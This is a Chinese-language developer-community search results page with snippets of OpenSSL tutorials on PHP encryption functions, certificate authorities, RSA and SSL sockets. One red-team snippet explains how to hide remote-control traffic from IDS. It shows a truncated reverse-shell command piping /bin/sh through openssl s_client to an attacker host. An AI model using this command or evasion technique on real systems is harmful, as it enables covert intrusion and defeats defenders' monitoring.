首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

PHP OpenSSL扩展 – 对称加密

所以,对于 PHPer 来说,有必要学习一下 PHP 的 OpenSSL 扩展。 本文就先从 OpenSSL 扩展中的对称加密说起。后面会陆续更多非对称加密、数字签名、数字证书等函数的讲解。...PHP 的 OpenSSL 扩展中,对称加密的相关函数有: openssl_encrypt() openssl_decrypt() openssl_random_pseudo_bytes() openssl_get_cipher_methods...其实PHP的OpenSSL扩展支持很多种加密算法,想知道所有对称加密算法名称列表,可以调用 openssl_get_cipher_methods() 函数,这会返回一个数组: array( 0 =>...第 8 ~ 9 行 是加密和解密。分别使用了 openssl_encrypt() 和 openssl_decrypt()。...第一个参数是输入,对 openssl_encrypt() 来说是明文串,对 openssl_decrypt() 来说是密文串 第二个参数是指定加密 / 解密 算法 第三个参数是加密 / 解密时需要用到的密码

1.9K20

非对称加密OpenSSL

因此本文从非对称加密说起, 介绍了证书的签证流程, 并且通过openssl命令行工具对这些过程都转化为相对具体的命令, 也算是一个温故知新的简要记录吧....其中包括: libssl : 提供了SSL(包括SSLv3)和TLS的服务器端以及客户端的实现. libcrypto : 通用的密码学库以及对X.509的支持 openssl : 一个多功能的命令行工具...本文主要使用openssl命令行工具来示例非对称加密的流程, 如果有兴趣的话,也可以用其SDK 来实现更具体的操作....因此对于大文件的加密传输, 通常还是使用对称加密的方式, 例如 openssl rand -base64 128 -out aeskey.txt openssl enc -aes-256-cbc -salt...第一个命令是CA一开始创建私钥和CA的证书, 第二个命令表示对csr文件进行签名确认, 用-config指定自定义的配置文件, 如果不指定则默认为/usr/lib/ssl/openssl.cnf, SP

88340

PHP的OpenSSL加密扩展学习(一):对称加密

PHP的OpenSSL加密扩展学习(一):对称加密 我们已经学过不少 PHP 中加密扩展相关的内容了。而今天开始,我们要学习的则是重点中的重点,那就是 OpenSSL 加密扩展的使用。...一是 OpenSSL 是目前 PHP 甚至是整个开发圈中的数据加密事实标准,包括 HTTPS/SSL 在内的加密都是它的实际应用,二是 OpenSSL 提供了对称和非对称加密的形式,也就是我们日常中最普遍的两种加密方式...OpenSSL 扩展的对称加密 好了,介绍这么多理论知识,接下来还是回归正题了,我们在 PHP 中如何实现对称和非对称加密呢?非常简单,使用 OpenSSL 扩展就可以了。...最简单的,在操作系统命令行看看有没有 openssl 命令就可以看出当前系统有没有安装 OpenSSL 相关的软件。...openssl_decrypt() 用于对数据进行解密,需要的参数基本和加密函数一致,只是原文数据换成了加密数据。

2.1K30

PHP的OpenSSL加密扩展学习(二):非对称加密

PHP的OpenSSL加密扩展学习(二):非对称加密 上篇文章,我们了解了关于对称和非对称加密的一些相关的理论知识,也学习了使用 OpenSSL 来进行对称加密的操作。...今天,我们就更进一步,学习 OpenSSL 中的非对称加密是如何实现的。 生成私钥 通过之前的学习,我们知道非对称加密是分别需要一个公钥和一个私钥的。...大家再回过头来好好看一下公钥和私钥的内容,是不是和我们去申请的 HTTPS 证书中的公私钥内容长得一样,而且也和我们自己在系统中使用 openssl 命令行生成的本机的密钥证书一样。...$data = '测试非对称加密'; // 公钥加密数据 openssl_public_encrypt($data, $encrypted, $publicKey); var_dump($encrypted...其实反过来也是可以的,OpenSSL 分别都为我们提供了公钥的加解密和私钥的加解密函数。 就像上篇文章的图示那样,对方获得我们的公钥,然后加密数据传输过来,我们通过自己的私钥解密数据获得原文。

84820

红队 | 流量加密:使用OpenSSL进行远控流量加密

在本节中,我们将介绍如何使用 OpenSSL 对 nc、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过IDS或者防护软件分析设备和工具,实现动态免杀...可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1....使用 OpenSSL 生成自签名证书 在使用OpenSSL对nc进行流量加密之前,需要先在攻击机上生成自签名证书: openssl req -x509 -newkey rsa:4096 -keyout...使用 OpenSSL 对 NC 流量进行加密 攻击机kali上面执行如下命令使用 OpenSSL 开启一个监听: openssl s_server -quiet -key key.pem -cert cert.pem...然后 Ubuntu 上面执行如下命令将自己的shell反弹到攻击机kali上去: mkfifo /tmp/s; /bin/sh -i &1 | openssl s_client -

3K41

Openssl加密解密原理+CA自建实现

三、Openssl 基本使用方法 1、OpenSSL 是一个强大的安全套接字层密码库, 在应用层和传输层之间加了一个半层,基于套接字传输时专用的;所以不是对所有的数据进行加密;Appache使用它加密HTTPS...整个软件包有三部份构成: 密码算法库(7种分组加密算法、RC4的流加密算法) SSL 协议库(SSLv2,v3、TLSv2,v3) 应用程序(密码生成、证书管理、格式转换、数据加密签名) 2、openssl...Standar commands:命令功能 Message Digest command :信息摘要支持的算法 Cipher:加密支持的算法 查看OpenSSL 的安装文件,配置之前建议先去读/etc/...;使用cat查看是乱码; openssl命令选项: -e:指定为加密,可以不写默认为加密。...–serial 4、生成完需要拷贝到http服务器上 也用scp命令 五、吊销证书 1、第一次吊销需创建文件,生成编号,在CA端进行 touch /etc/pki/CA/crlnumber echo

1.6K60

加密与解密以及OpenSSL的应用

本文主要简单介绍下; 一、数据加密的三种方式; 二、Openssl的基础应用以及创建CA证书与发证; 一、数据加密的三种方式; 1、对称加密加密与解密方使用同一个算法, 将数据切割成数据块逐步加密,并且前后块之间有关联关系...结合以上三种加密方法:如下图所示; 上图所示,把三种加密算法结合起来使用,对称加密实现了数据的机密性,公钥加密实现身份认证,而单向加密则实现了数据的完整性。...二、Openssl的基础应用以及创建CA证书与发证; 1)、Openss是一套用于SSL(安全套接字层)/TLS(传输层安全)协议的加密工具,有如下三个组件组成;     1、libcrypto;通用功能加密库...;     2、libssl;用于实现SSL/TLS的功能     3、多功能命令工具 其作用还可以生成密钥、创建数字证书、计算信息摘要、手动加密解密数据。...2)、对称加密以及解密的方法; 常用算法有:DES,3DES,AES,Blowfish,Twofish,RC6,CAST5 加密openssl enc -des3 -a -salt -in /etc

70520

PHP的openssl加密扩展使用小结

PHP的openssl扩展 openssl扩展使用openssl加密扩展包,封装了多个用于加密解密相关的PHP函数,极大地方便了对数据的加密解密。...常用的函数有: 对称加密相关: string openssl_encrypt ( string $data , string $method , string $password) 其中$data为其要加密的数据...,$method是加密要使用的方法,$password是要使用的密匙,函数返回加密后的数据; 其中$method列表可以使用openssl_get_cipher_methods()来获取,我们选取其中一个使用...$password) 非对称加密相关: openssl_get_publickey();openssl_pkey_get_public(); // 从证书导出公匙; openssl_get_privatekey...(); // 使用私匙加密openssl_private_decrypt(); // 使用私匙解密; openssl_public_decrypt(); // 使用公匙解密; 还有签名和验签函数

1.4K90

OpenSSL - RSA非对称加密实现

具体RSA加密算法在计算机网络中的运用方式和原理可以查看:OpenSSL - 网络安全之数据加密和数字证书 如何利用openssl命令行来生成证书和密钥可查看:OpenSSL - 利用OpenSSL自签证书和...在使用OpenSSL进行RSA加密算法时,流程与上述理论流程保持一致。...生成密钥或读取密钥 根据需要选择签名还是加密 使用公钥进行数据加密 使用私钥进行数字签名 数据通过网络进行安全传输 对端进行解密获取明文 下面是OpenSSL的RSA加密算法对数据进行加密解密过程实现...: #include #include #include #include #include <openssl...从证书中提取公钥加密与上述代码类似,替换相应API即可。 tips:本来把这篇OpenSSL的RSA加密算法和代码写好点的,但是由于最近时间越来越紧张。后续有机会在扩充吧。

3.1K90

20.7 OpenSSL 套接字SSL加密传输

OpenSSL 中的 SSL 加密是通过 SSL/TLS 协议来实现的。SSL/TLS 是一种安全通信协议,可以保障通信双方之间的通信安全性和数据完整性。...在 SSL/TLS 协议中,加密算法是其中最核心的组成部分之一,SSL可以使用各类加密算法进行密钥协商,一般来说会使用RSA等加密算法,使用TLS加密针对服务端来说则需要同时载入公钥与私钥文件,当传输被建立后客户端会自行下载公钥并与服务端完成握手...与RSA实现加密传输一致,使用SSL实现加密传输读者同样需要自行生成对应的密钥对,密钥对的生成可以使用如下命令实现; 生成私钥: openssl genrsa -out privkey.pem 2048...生成公钥: openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 执行如上两条命令,读者可得到两个文件首先生成2048位的.../bio.h> #include #include #include #include <openssl/

37360
领券